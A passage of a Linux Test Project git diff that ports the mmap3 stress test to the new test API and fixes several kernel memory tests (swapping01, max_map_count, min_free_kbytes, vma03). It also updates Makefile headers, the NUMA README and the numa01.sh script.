+static float exec_time = 24;
+
+static volatile int sig_caught;
+static int threads_running;
+
 static int mkfile(int *size)
-{				/* size of the file to be generated in GB     */
-	int fd;			/* file descriptior of tmpfile                */
-	int index = 0;		/* index into the file, fill it with a's      */
-	char buff[4096];	/* buffer that will be written to the file.   */
-	char template[PATH_MAX];	/* template for temp file name                */
+{
+	int fd;
+	int index = 0;
+	char buf[4096];
+	char template[PATH_MAX];
 
-	/* fill the buffer with a's and open a temp file */
-	memset(buff, 'a', 4096);
+	memset(buf, 'a', 4096);
 	snprintf(template, PATH_MAX, "ashfileXXXXXX");
-	if ((fd = mkstemp(template)) == -1) {
-		perror("mkfile(): mkstemp()");
-		return -1;
-	}
+	if ((fd = mkstemp(template)) == -1)
+		tst_brk(TBROK | TERRNO, "mkstemp()");
 	unlink(template);
 
-	srand(time(NULL) % 100);
 	*size = (1 + (int)(1000.0 * rand() / (RAND_MAX + 1.0))) * 4096;
 
-	/* fill the file with the character a */
 	while (index < *size) {
-		index += 4096;
-		if (write(fd, buff, 4096) == -1) {
-			perror("mkfile(): write()");
-			return -1;
-		}
+		index += sizeof(buf);
+		SAFE_WRITE(1, fd, buf, sizeof(buf));
 	}
 
-	/* make sure a's are written to the file. */
-	if (fsync(fd) == -1) {
-		perror("mkfile(): fsync()");
-		return -1;
-	}
+	fsync(fd);
+
 	return fd;
 }
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    sig_handler                                                   */
-/*                                                                            */
-/* Description: handle SIGALRM raised by set_timer(), SIGALRM is raised when  */
-/*              the timer expires. If any other signal is recived exit the    */
-/*              test.                                                         */
-										/*                                                                            *//* Input:       signal - signal number, intrested in SIGALRM!                 */
-/*                                                                            */
-/* Return:      exit 1 if unexpected signal is recived                        */
-/*              exit 0 if SIGALRM is recieved                                 */
-/*                                                                            */
-/******************************************************************************/
-static void sig_handler(int signal)
-{				/* signal number, set to handle SIGALRM       */
-	if (signal != SIGALRM) {
-		fprintf(stderr,
-			"sig_handlder(): unexpected signal caught [%d]\n",
-			signal);
-		exit(-1);
-	} else
-		fprintf(stdout, "Test ended, success\n");
-	exit(0);
-}
+static void exit_thread(void) __attribute__ ((noreturn));
 
-										/******************************************************************************//*                                                                            */
-/* Function:	usage							      */
-/*									      */
-/* Description:	Print the usage message.				      */
-/*									      */
-/* Return:	exits with -1						      */
-/*									      */
-/******************************************************************************/
-static void usage(char *progname)
-{				/* name of this program                       */
-	fprintf(stderr,
-		"Usage: %s -h -l -n -p -x\n"
-		"\t -h help, usage message.\n"
-		"\t -l number of map - write - unmap.    default: 1000\n"
-		"\t -n number of LWP's to create.        default: 20\n"
-		"\t -p set mapping to MAP_PRIVATE.       default: MAP_SHARED\n"
-		"\t -x time for which test is to be run. default: 24 Hrs\n",
-		progname);
-	exit(-1);
-}
-
-/******************************************************************************/
-/*									      */
-/* Function:	map_write_unmap						      */
-/*									      */
-/* Description:	map a file write a character to it and unmap, this is done for*/
-/*		user defined number of times.				      */
-/*									      */
-/* Input:	arg[0]		   number of times map - write -unmap is done */
-/* 		arg[1]		   Map type:  				      */
-/*					TRUE  - MAP_PRIVATE 		      */
-/*					FALSE - MAP_SHARED		      */
-/*									      */
-/* Return:	MWU_FAIL on error.				              */
-/*              MWU_SUCCESS on error less completion of the loop.             */
-/*									      */
-/******************************************************************************/
-void *map_write_unmap(void *args)
-{				/* file descriptor of the file to be mapped.  */
-	int fsize;		/* size of the file to be created.            */
-	int fd;			/* temporary file descriptor                  */
-	int mwu_ndx = 0;	/* index to number of map/write/unmap         */
-	caddr_t *map_address;	/* pointer to file in memory                  */
-	int map_type;		/* MAP_PRIVATE or MAP_SHARED                  */
-	long *mwuargs =		/* local pointer to arguments                 */
-	    (long *)args;
-
-	while (mwu_ndx++ < (int)mwuargs[0]) {
-		if ((fd = mkfile(&fsize)) == -1) {
-			fprintf(stderr,
-				"main(): mkfile(): Failed to create temp file.\n");
-			pthread_exit((void *)-1);
-		}
-
-		if ((int)mwuargs[1])
-			map_type = MAP_PRIVATE;
-		else
-			map_type = MAP_SHARED;
-		if ((map_address =
-		     mmap(0, (size_t) fsize, PROT_WRITE | PROT_READ, map_type,
-			  (int)fd, 0))
-		    == (caddr_t *) - 1) {
-			perror("map_write_unmap(): mmap()");
-			pthread_exit((void *)-1);
-		}
-
-		memset(map_address, 'A', fsize);
-
-		fprintf(stdout,
-			"Map address = %p\nNum iter: [%d]\nTotal Num Iter: [%d]",
-			map_address, mwu_ndx, (int)mwuargs[0]);
-		usleep(1);
-		if (munmap(map_address, (size_t) fsize) == -1) {
-			perror("map_write_unmap(): mmap()");
-			pthread_exit((void *)-1);
-		}
-		close(fd);
-	}
+static void exit_thread(void)
+{
+	tst_atomic_dec(&threads_running);
 	pthread_exit(NULL);
 }
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    main                                                          */
-/*                                                                            */
-/* Descrption:	Create a large file of size up to a  Giga Bytes.  write to it */
-/*		lower case alphabet 'a'. Map the file and change the contents */
-/*		to 'A's (upper case alphabet), write the contents to the file,*/
-/*		and unmap the file from memory. Spwan a certian number of     */
-/*		LWP's that will do the above.				      */
-/*                                                                            */
-/* Return:	exits with -1 on error					      */
-/*		exits with a 0 on success.				      */
-/*                                                                            */
-/******************************************************************************/
-int main(int argc,		/* number of input parameters.                        */
-	 char **argv)
-{				/* pointer to the command line arguments.       */
-	int c;			/* command line options                       */
-	int num_iter;		/* number of iteration to perform             */
-	int num_thrd;		/* number of threads to create                */
-	int thrd_ndx;		/* index into the array of threads.           */
-	float exec_time;	/* period for which the test is executed      */
-	void *status;		/* exit status for light weight process       */
-	int sig_ndx;		/* index into signal handler structure.       */
-	pthread_t thid[1000];	/* pids of process that will map/write/unmap  */
-	long chld_args[3];	/* arguments to funcs execed by child process */
-	extern char *optarg;	/* arguments passed to each option            */
-	struct sigaction sigptr;	/* set up signal, for interval timer          */
-	int map_private =	/* if TRUE mapping is private, ie, MAP_PRIVATE */
-	    FALSE;
+void *map_write_unmap(void *args)
+{
+	int fsize;
+	int fd;
+	int i;
+	void *addr;
+	long tid = (long)args;
 
-	static struct signal_info {
-		int signum;	/* signal number that hasto be handled                */
-		char *signame;	/* name of the signal to be handled.                  */
-	} sig_info[] = {
-		{
-		SIGHUP, "SIGHUP"}, {
-		SIGINT, "SIGINT"}, {
-		SIGQUIT, "SIGQUIT"}, {
-		SIGABRT, "SIGABRT"}, {
-		SIGBUS, "SIGBUS"}, {
-		SIGSEGV, "SIGSEGV"}, {
-		SIGALRM, "SIGALRM"}, {
-		SIGUSR1, "SIGUSR1"}, {
-		SIGUSR2, "SIGUSR2"}, {
-		-1, "ENDSIG"}
-	};
+	tst_atomic_inc(&threads_running);
 
-	/* set up the default values */
-	num_iter = 1000;	/* repeate map - write - unmap operation 1000 times   */
-	num_thrd = 40;		/* number of LWP's to create                          */
-	exec_time = 24;		/* minimum time period for which to run the tests     */
+	for (i = 0; i < loops; i++) {
+		if (sig_caught)
+			exit_thread();
 
-	while ((c = getopt(argc, argv, "h:l:n:px:")) != -1) {
-		switch (c) {
-		case 'h':
-			usage(argv[0]);
-			break;
-		case 'l':
-			if ((num_iter = atoi(optarg)) == 0)
-				num_iter = 1000;
-			break;
-		case 'n':
-			if ((num_thrd = atoi(optarg)) == 0)
-				num_thrd = 20;
-			break;
-		case 'p':
-			map_private = TRUE;
-			break;
-		case 'x':
-			if ((exec_time = atof(optarg)) == 0)
-				exec_time = 24;
-			break;
-		default:
-			usage(argv[0]);
-			break;
-		}
+		if ((fd = mkfile(&fsize)) == -1)
+			exit_thread();
+
+		addr = SAFE_MMAP(NULL, fsize, PROT_WRITE | PROT_READ,
+				 map_private ? MAP_PRIVATE : MAP_SHARED, fd, 0);
+
+		memset(addr, 'A', fsize);
+
+		tst_res(TINFO, "Thread %4li, addr [%p], size %4ikB, iter %4d",
+			tid, addr, fsize/1024, i);
+
+		usleep(1);
+
+		SAFE_MUNMAP(addr, fsize);
+		SAFE_CLOSE(fd);
 	}
 
-	/* set up signals */
-	sigptr.sa_handler = (void (*)(int signal))sig_handler;
-	sigfillset(&sigptr.sa_mask);
-	sigptr.sa_flags = SA_SIGINFO;
-	for (sig_ndx = 0; sig_info[sig_ndx].signum != -1; sig_ndx++) {
-		sigaddset(&sigptr.sa_mask, sig_info[sig_ndx].signum);
-		if (sigaction(sig_info[sig_ndx].signum, &sigptr,
-			      NULL) == -1) {
-			perror("man(): sigaction()");
-			fprintf(stderr,
-				"could not set handler for SIGALRM, errno = %d\n",
-				errno);
-			exit(-1);
-		}
-	}
-	chld_args[0] = num_iter;
-	chld_args[1] = map_private;
-	alarm(exec_time * 3600.00);
+	exit_thread();
+}
 
-	fprintf(stdout,
-		"\n\n\nTest is set to run with the following parameters:\n"
-		"\tDuration of test: [%f]hrs\n"
-		"\tNumber of threads created: [%d]\n"
-		"\tnumber of map-write-unmaps: [%d]\n"
-		"\tmap_private?(T=1 F=0): [%d]\n\n\n\n", exec_time, num_thrd,
-		num_iter, map_private);
+static void sig_handler(int signal)
+{
+	sig_caught = signal;
+}
 
-	for (;;) {
-		/* create num_thrd number of threads. */
-		for (thrd_ndx = 0; thrd_ndx < num_thrd; thrd_ndx++) {
-			if (pthread_create
-			    (&thid[thrd_ndx], NULL, map_write_unmap,
-			     chld_args)) {
-				perror("main(): pthread_create()");
-				exit(-1);
-			}
+static void test_mmap(void)
+{
+	long i;
+	pthread_t thids[threads];
+
+	alarm(exec_time * 3600);
+
+	while (!sig_caught) {
+		for (i = 0; i < threads; i++) {
+			SAFE_PTHREAD_CREATE(&thids[i], NULL,
+			                    map_write_unmap, (void*)i);
 			sched_yield();
 		}
 
-		/* wait for the children to terminate */
-		for (thrd_ndx = 0; thrd_ndx < num_thrd; thrd_ndx++) {
-			if (pthread_join(thid[thrd_ndx], &status)) {
-				perror("main(): pthread_create()");
-				exit(-1);
-			} else {
-				if (status) {
-					fprintf(stderr,
-						"thread [%d] - process exited with errors %ld\n",
-						WEXITSTATUS((long)status),
-						(long)status);
-					exit(-1);
-				}
-			}
-		}
+		for (i = 0; i < threads; i++)
+			SAFE_PTHREAD_JOIN(thids[i], NULL);
 	}
-	exit(0);
+
+	if (sig_caught == SIGALRM) {
+		tst_res(TPASS, "Test passed");
+	} else {
+		tst_res(TFAIL, "Unexpected signal caught %s",
+		        tst_strsig(sig_caught));
+	}
 }
+
+static void setup(void)
+{
+	if (tst_parse_int(str_loops, &loops, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of loops '%s'", str_loops);
+
+	if (tst_parse_int(str_threads, &threads, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of threads '%s'", str_threads);
+
+	if (tst_parse_float(str_exec_time, &exec_time, 0.0005, 9000))
+		tst_brk(TBROK, "Invalid execution time '%s'", str_exec_time);
+
+	tst_set_timeout(exec_time * 3600 + 300);
+
+	SAFE_SIGNAL(SIGALRM, sig_handler);
+	SAFE_SIGNAL(SIGBUS, sig_handler);
+	SAFE_SIGNAL(SIGSEGV, sig_handler);
+
+	unsigned int seed = time(NULL) % 100;
+
+	srand(seed);
+
+	tst_res(TINFO, "Seed %u", seed);
+	tst_res(TINFO, "Number of loops %i", loops);
+	tst_res(TINFO, "Number of threads %i", threads);
+	tst_res(TINFO, "MAP_PRIVATE = %i", map_private ? 1 : 0);
+	tst_res(TINFO, "Execution time %fH", exec_time);
+}
+
+static void cleanup(void)
+{
+	static int flag;
+
+	if (tst_atomic_inc(&flag) != 1)
+		exit_thread();
+
+	if (!threads_running)
+		return;
+
+	tst_res(TINFO, "Waiting for %i threads to terminate", threads_running);
+
+	sig_caught = 1;
+
+	while ((volatile int)threads_running > 1) {
+		tst_res(TINFO, "Running threads %i",
+		        (volatile int)threads_running);
+		usleep(500000);
+	}
+}
+
+static struct tst_option options[] = {
+	{"l:", &str_loops, "-l uint  Number of map-write-unmap loops"},
+	{"n:", &str_threads, "-n uint  Number of worker threads"},
+	{"p", &map_private, "-p       Turns on MAP_PRIVATE (default MAP_SHARED)"},
+	{"x:", &str_exec_time, "-x float Execution time in hours (default 24H)"},
+	{NULL, NULL, NULL}
+};
+
+static struct tst_test test = {
+	.tid = "mmap3",
+	.options = options,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = test_mmap,
+};
diff --git a/testcases/kernel/mem/mtest07/Makefile b/testcases/kernel/mem/mtest07/Makefile
index 1d9b5d9..6530296 100644
--- a/testcases/kernel/mem/mtest07/Makefile
+++ b/testcases/kernel/mem/mtest07/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../..
diff --git a/testcases/kernel/mem/page/Makefile b/testcases/kernel/mem/page/Makefile
index 0276d9f..9777e4f 100644
--- a/testcases/kernel/mem/page/Makefile
+++ b/testcases/kernel/mem/page/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../..
diff --git a/testcases/kernel/mem/shmt/Makefile b/testcases/kernel/mem/shmt/Makefile
index 35c1f26..ee37fd9 100644
--- a/testcases/kernel/mem/shmt/Makefile
+++ b/testcases/kernel/mem/shmt/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../..
diff --git a/testcases/kernel/mem/shmt/shmt07.c b/testcases/kernel/mem/shmt/shmt07.c
index 3442e85..e4aa9dc 100644
--- a/testcases/kernel/mem/shmt/shmt07.c
+++ b/testcases/kernel/mem/shmt/shmt07.c
@@ -29,8 +29,8 @@
  *
  * ALGORITHM
  * Create and attach a shared memory segment, write to it
- * and then fork a child. The child Verifies that the shared memory segment
- * that it inherited from the parent conatins the same data that was originally
+ * and then fork a child. The child verifies that the shared memory segment
+ * that it inherited from the parent contains the same data that was originally
  * written to it by the parent.
  *
  */
diff --git a/testcases/kernel/mem/swapping/swapping01.c b/testcases/kernel/mem/swapping/swapping01.c
index b530ee2..171edb3 100644
--- a/testcases/kernel/mem/swapping/swapping01.c
+++ b/testcases/kernel/mem/swapping/swapping01.c
@@ -68,7 +68,7 @@
 static void do_alloc(void);
 static void check_swapping(void);
 
-static long mem_free_init;
+static long mem_available_init;
 static long swap_free_init;
 static long mem_over;
 static long mem_over_max;
@@ -108,18 +108,19 @@
 static void init_meminfo(void)
 {
 	swap_free_init = read_meminfo("SwapFree:");
-	mem_free_init = read_meminfo("MemFree:");
-	mem_over = mem_free_init * COE_SLIGHT_OVER;
-	mem_over_max = mem_free_init * COE_DELTA;
-
-	/* at least 10MB free physical memory needed */
-	if (mem_free_init < 10240) {
-		sleep(5);
-		if (mem_free_init < 10240)
-			tst_brkm(TCONF, cleanup,
-				 "Not enough free memory to test.");
+	if (FILE_LINES_SCANF(cleanup, "/proc/meminfo", "MemAvailable: %ld",
+		&mem_available_init)) {
+		mem_available_init = read_meminfo("MemFree:")
+			+ read_meminfo("Cached:");
 	}
-	if (swap_free_init < mem_over)
+	mem_over = mem_available_init * COE_SLIGHT_OVER;
+	mem_over_max = mem_available_init * COE_DELTA;
+
+	/* at least 10MB available physical memory needed */
+	if (mem_available_init < 10240)
+		tst_brkm(TCONF, cleanup, "Not enough available mem to test.");
+
+	if (swap_free_init < mem_over_max)
 		tst_brkm(TCONF, cleanup, "Not enough swap space to test.");
 }
 
@@ -128,8 +129,9 @@
 	long mem_count;
 	void *s;
 
-	tst_resm(TINFO, "free physical memory: %ld MB", mem_free_init / 1024);
-	mem_count = mem_free_init + mem_over;
+	tst_resm(TINFO, "available physical memory: %ld MB",
+		mem_available_init / 1024);
+	mem_count = mem_available_init + mem_over;
 	tst_resm(TINFO, "try to allocate: %ld MB", mem_count / 1024);
 	s = malloc(mem_count * 1024);
 	if (s == NULL)
@@ -144,7 +146,7 @@
 static void check_swapping(void)
 {
 	int status, i;
-	long swapped;
+	long swap_free_now, swapped;
 
 	/* wait child stop */
 	if (waitpid(pid, &status, WUNTRACED) == -1)
@@ -153,15 +155,24 @@
 		tst_brkm(TBROK, cleanup, "child was not stopped.");
 
 	/* Still occupying memory, loop for a while */
-	for (i = 0; i < 10; i++) {
-		swapped = swap_free_init - read_meminfo("SwapFree:");
-		if (swapped > mem_over_max) {
-			kill(pid, SIGCONT);
-			tst_brkm(TFAIL, cleanup, "heavy swapping detected: "
-				 "%ld MB swapped.", swapped / 1024);
-		}
+	i = 0;
+	while (i < 10) {
+		swap_free_now = read_meminfo("SwapFree:");
 		sleep(1);
+		if (abs(swap_free_now - read_meminfo("SwapFree:")) < 512)
+			break;
+
+		i++;
 	}
+
+	swap_free_now = read_meminfo("SwapFree:");
+	swapped = swap_free_init - swap_free_now;
+	if (swapped > mem_over_max) {
+		kill(pid, SIGCONT);
+		tst_brkm(TFAIL, cleanup, "heavy swapping detected: "
+				"%ld MB swapped.", swapped / 1024);
+	}
+
 	tst_resm(TPASS, "no heavy swapping detected, %ld MB swapped.",
 		 swapped / 1024);
 	kill(pid, SIGCONT);
diff --git a/testcases/kernel/mem/tunable/max_map_count.c b/testcases/kernel/mem/tunable/max_map_count.c
index cc7a4e1..75a5098 100644
--- a/testcases/kernel/mem/tunable/max_map_count.c
+++ b/testcases/kernel/mem/tunable/max_map_count.c
@@ -11,9 +11,9 @@
  * indicates a map entry, so it can caculate the amount of maps by reading
  * the file lines' number to check the tunable performance.
  *
- * The program trys to invoke mmap() endless until triggering MAP_FAILED,
- * then read the process's maps file /proc/[pid]/maps, save the line number
- * to map_count variable, and compare it with /proc/sys/vm/max_map_count,
+ * The program tries to invoke mmap() endlessly until it triggers MAP_FAILED,
+ * then reads the process's maps file /proc/[pid]/maps, save the line number to
+ * map_count variable, and compare it with /proc/sys/vm/max_map_count,
  * map_count should be greater than max_map_count by 1;
  *
  * Note: On some architectures there is a special vma VSYSCALL, which
@@ -63,7 +63,7 @@
 #include "test.h"
 #include "mem.h"
 
-#define MAP_COUNT_DEFAULT	64
+#define MAP_COUNT_DEFAULT	1024
 #define MAX_MAP_COUNT		65536L
 
 char *TCID = "max_map_count";
@@ -139,7 +139,8 @@
 		return true;
 #elif defined(__arm__)
 	/* Skip it when run it in aarch64 */
-	if (strcmp(un.machine, "aarch64"))
+	if ((!strcmp(un.machine, "aarch64"))
+	|| (!strcmp(un.machine, "aarch64_be")))
 		return false;
 
 	/* Older arm kernels didn't label their vdso maps */
@@ -247,6 +248,6 @@
 		if (waitpid(pid, &status, 0) == -1)
 			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
 
-		max_maps = max_maps << 2;
+		max_maps = max_maps << 1;
 	}
 }
diff --git a/testcases/kernel/mem/tunable/min_free_kbytes.c b/testcases/kernel/mem/tunable/min_free_kbytes.c
index cb00f40..493c37e 100644
--- a/testcases/kernel/mem/tunable/min_free_kbytes.c
+++ b/testcases/kernel/mem/tunable/min_free_kbytes.c
@@ -239,6 +239,11 @@
 void setup(void)
 {
 	tst_require_root();
+	if (get_sys_tune("panic_on_oom")) {
+		tst_brkm(TCONF, NULL,
+			"panic_on_oom is set, disable it to run these testcases");
+	}
+
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 	TEST_PAUSE;
 
diff --git a/testcases/kernel/mem/tunable/overcommit_memory.c b/testcases/kernel/mem/tunable/overcommit_memory.c
index 9c33758..79a3034 100644
--- a/testcases/kernel/mem/tunable/overcommit_memory.c
+++ b/testcases/kernel/mem/tunable/overcommit_memory.c
@@ -274,7 +274,7 @@
 		commit_left = commit_limit - committed;
 
 		if (commit_left < 0) {
-			tst_resm(TINFO, "CommmitLimit is %ld, Committed_AS"
+			tst_resm(TINFO, "CommitLimit is %ld, Committed_AS"
 				 " is %ld", commit_limit, committed);
 			tst_brkm(TBROK, cleanup, "Unexpected error: "
 				 "CommitLimit < Committed_AS");
diff --git a/testcases/kernel/mem/vma/vma03.c b/testcases/kernel/mem/vma/vma03.c
index ad8a7b4..edad9f4 100644
--- a/testcases/kernel/mem/vma/vma03.c
+++ b/testcases/kernel/mem/vma/vma03.c
@@ -49,6 +49,7 @@
 #include <unistd.h>
 
 #include "test.h"
+#include "tst_kernel.h"
 
 char *TCID = "vma03";
 int TST_TOTAL = 1;
@@ -70,9 +71,11 @@
 	void *map, *remap;
 	off_t pgoff;
 
-#if __WORDSIZE != 32
-	tst_brkm(TCONF, NULL, "test is designed for 32-bit system only.");
-#endif
+	if (__WORDSIZE != 32 || tst_kernel_bits() != 32) {
+		tst_brkm(TCONF, NULL,
+			 "test is designed for 32-bit system only.");
+	}
+
 	tst_parse_opts(argc, argv, NULL, NULL);
 
 	pgsz = sysconf(_SC_PAGE_SIZE);
@@ -85,7 +88,12 @@
 		if (fd == -1)
 			tst_brkm(TBROK | TERRNO, NULL, "open %s", TESTFILE);
 
-		pgoff = ULONG_MAX - 1;
+		/*
+		 * The pgoff is counted in 4K units and must be page-aligned,
+		 * hence we must align it down to page_size/4096 in a case that
+		 * the system has page_size > 4K.
+		 */
+		pgoff = (ULONG_MAX - 1)&(~((pgsz-1)>>12));
 		map = mmap2(NULL, pgsz, PROT_READ | PROT_WRITE, MAP_PRIVATE,
 			    fd, pgoff);
 		if (map == MAP_FAILED)
diff --git a/testcases/kernel/module/Makefile b/testcases/kernel/module/Makefile
index 4e03b7a..cc2a0e0 100644
--- a/testcases/kernel/module/Makefile
+++ b/testcases/kernel/module/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir	?= ../../..
diff --git a/testcases/kernel/numa/.gitignore b/testcases/kernel/numa/.gitignore
index 063d009..f4773f5 100644
--- a/testcases/kernel/numa/.gitignore
+++ b/testcases/kernel/numa/.gitignore
@@ -1,2 +1 @@
-/numa_node_size
 /support_numa
diff --git a/testcases/kernel/numa/README b/testcases/kernel/numa/README
index 3d9defb..57b12f7 100644
--- a/testcases/kernel/numa/README
+++ b/testcases/kernel/numa/README
@@ -12,7 +12,7 @@
 Please refer http://lse.sourceforge.net/numa/ to know the basics of numa and refer
 http://www.novell.com/collateral/4621437/4621437.pdf to understand the usage of numactl and numa libraries.
 
-We can always get the latest package from ftp://ftp.suse.com/pub/people/ak/numa.
+We can always get the latest package from http://oss.sgi.com/projects/libnuma/.
 
 Testcase Description:
 ====================================================================================================================
@@ -26,43 +26,36 @@
 testcase will use the support_numa process for the verfication.
 
 TestCase3:
-Verifies the memory interleaving policy which will distribute the memory evenly among all nodes. This
+Verifies the preferred node memory policy which will allocate shared memory from the node we specify. This
 testcase will use the support_numa process for the verfication.
 
 TestCase4:
-Verifies the physical cpu affinity which runs the process support_numa on the specified physical cpu number.
+Verifies the memory interleaving policy which will distribute the memory evenly among all nodes. This
+testcase will use the support_numa process for the verfication.
 
 TestCase5:
+Verifies the memory interleaving policy which will distribute the memory evenly among all nodes. This
+testcase will use the support_numa process for the verfication.
+
+TestCase6:
+Verifies the physical cpu affinity which runs the process support_numa on the specified physical cpu number.
+
+TestCase7:
 Verifies the local allocation policy which always allocates memory from the local node. This testcase
 will use the support_numa process for the verfication.
 
-TestCase6:
-Verifies the memory interleaving policy on the shared memory which will interleave the shared memory on
-all nodes equally. Here, the testcase use touch command instead of running a seperate process to verify
-the policy applied.
+TestCase8:
+Verifies the memory interleaving policy which will distribute the memory evenly among all nodes. This
+testcase will use memhog for the verfication.
+
+TestCase9:
+Verifies the numa_node_size api with hardware checking.
+
+TestCase10:
+Verifieds the NUMA migratepages policy.
+
 
 Pre-requisites
 ====================================================================================================================
  * libnuma should be installed on the NUMA machine before executing theses testcases
- * Testcases can also be executed on non-numa machines, but they will fail,
-
-Building the Tescases
-====================================================================================================================
-From LTP-Root, use <make> to build the testcases
-ltp-full-20070731]$ make
-or, from
-ltp-full-20070731_numa/testcases/kernel/numa]# make
-
-Installing the Testcases
-====================================================================================================================
-From LTP-Root, use <make> to install the testcases
-ltp-full-20070731]$ make install
-or, from
-ltp-full-20070731_numa/testcases/kernel/numa]# make install
-
-Running the Tescases
-====================================================================================================================
-From LTP-Root, invoke ./runltp
-ltp-full-20070731]$ ./runltp -p -l <logfile> -f numa
-
- * NUMA testcases will not run by default in LTP-runall
+ * Testcases will not run by default in LTP-runall, they also skip on non-numa machines
diff --git a/testcases/kernel/numa/numa01.sh b/testcases/kernel/numa/numa01.sh
index 9c5f49a..f0f6139 100755
--- a/testcases/kernel/numa/numa01.sh
+++ b/testcases/kernel/numa/numa01.sh
@@ -1,665 +1,332 @@
-#!/bin/bash
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2007                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-#
-# Author:        Sivakumar Chinnaiah, Sivakumar.C@in.ibm.com
-#
-# History:       July 04 2007 - Created - Sivakumar Chinnaiah.
-#
-# File :         numa01.sh
-#
-# Description:  Test Basic functionality of numactl command.
-#		Test #1: Verifies cpunodebind and membind
-#		Test #2: Verifies preferred node bind for memory allocation
-#		Test #3: Verifies memory interleave on all nodes
-#		Test #4: Verifies physcpubind
-#		Test #5: Verifies localalloc
-#		Test #6: Verifies memory policies on shared memory
-#		Test #7: Verifies numademo
-#		Test #8: Verifies memhog
-#		Test #9: Verifies numa_node_size api
-#		Test #10:Verifies Migratepages
-#		- it uses numastat output which is expected to be in the format
-#                           node0           node1
-#numa_hit                 4280408         4605341
-#numa_miss                      0               0
-#numa_foreign                   0               0
-#interleave_hit             12445           13006
-#local_node               4277766         4566799
-#other_node                  2642           38542
+#!/bin/sh
+##############################################################################
+#                                                                            #
+# Copyright (c) International Business Machines  Corp., 2007                 #
+#               Sivakumar Chinnaiah, Sivakumar.C@in.ibm.com                  #
+# Copyright (c) Linux Test Project, 2016                                     #
+#                                                                            #
+# This program is free software: you can redistribute it and/or modify       #
+# it under the terms of the GNU General Public License as published by       #
+# the Free Software Foundation, either version 3 of the License, or          #
+# (at your option) any later version.                                        #
+#                                                                            #
+# This program is distributed in the hope that it will be useful,            #
+# but WITHOUT ANY WARRANTY; without even the implied warranty of             #
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the              #
+# GNU General Public License for more details.                               #
+#                                                                            #
+# You should have received a copy of the GNU General Public License          #
+# along with this program. If not, see <http://www.gnu.org/licenses/>.       #
+#                                                                            #
+##############################################################################
+#                                                                            #
+# Description:  Test Basic functionality of numactl command.                 #
+#               Test #1: Verifies cpunodebind and membind                    #
+#               Test #2: Verifies preferred node bind for memory allocation  #
+#               Test #3: Verifies share memory allocation on preferred node  #
+#               Test #4: Verifies memory interleave on all nodes             #
+#               Test #5: Verifies share memory interleave on all nodes       #
+#               Test #6: Verifies physcpubind                                #
+#               Test #7: Verifies localalloc                                 #
+#               Test #8: Verifies memhog                                     #
+#               Test #9: Verifies numa_node_size api                         #
+#               Test #10:Verifies Migratepages                               #
+#                                                                            #
+##############################################################################
 
+TST_ID="numa01"
+TST_CNT=10
+TST_SETUP=setup
+TST_TESTFUNC=test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="numactl numastat awk"
 
+. tst_test.sh
 
-# Function:     chk_ifexists
 #
-# Description:  - Check if command required for this test exits.
+# Extracts the value of given numa node from the `numastat -p` output.
 #
-# Input:        - $1 - calling test case.
-#               - $2 - command that needs to be checked.
+# $1 - Pid number.
+# $2 - Node number.
 #
-# Return:       - zero on success.
-#               - non-zero on failure.
-chk_ifexists()
+extract_numastat_p()
 {
-    RC=0
+	local pid=$1
+	local node=$(($2 + 2))
 
-    which $2 &>$LTPTMP/tst_numa.err || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_brkm TBROK NULL "$1: command $2 not found."
-    fi
-    return $RC
+	echo $(numastat -p $pid |grep '^Total' |awk '{print $'$node'}')
 }
 
-# Function:     extract_numastat
-#
-# Description:  - extract the value of given row,column from the numastat output .
-#
-# Input:        - $1 - row number.
-#               - $2 - column number.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-extract_numastat()
+wait_for_support_numa()
 {
-    RC=0
+	local pid=$1
+	local retries=20
 
-    # check whether numastat output is changed
+	while [ $retries -gt 0 ]; do
+		local state=$(awk '{print $3}' /proc/$pid/stat)
 
-    RC=$(awk '
-        { if ( NR == '$2' ){
-            print $1;
-            }
-        }
-        ' $LTPTMP/numalog)
-    if [ $RC != $1 ]
-    then
-	tst_brkm TBROK NULL "numastat o/p seems to be changed, $1 expected to be in the row $2"
-        return 1
-    fi
+		if [ $state = 'T' ]; then
+			break
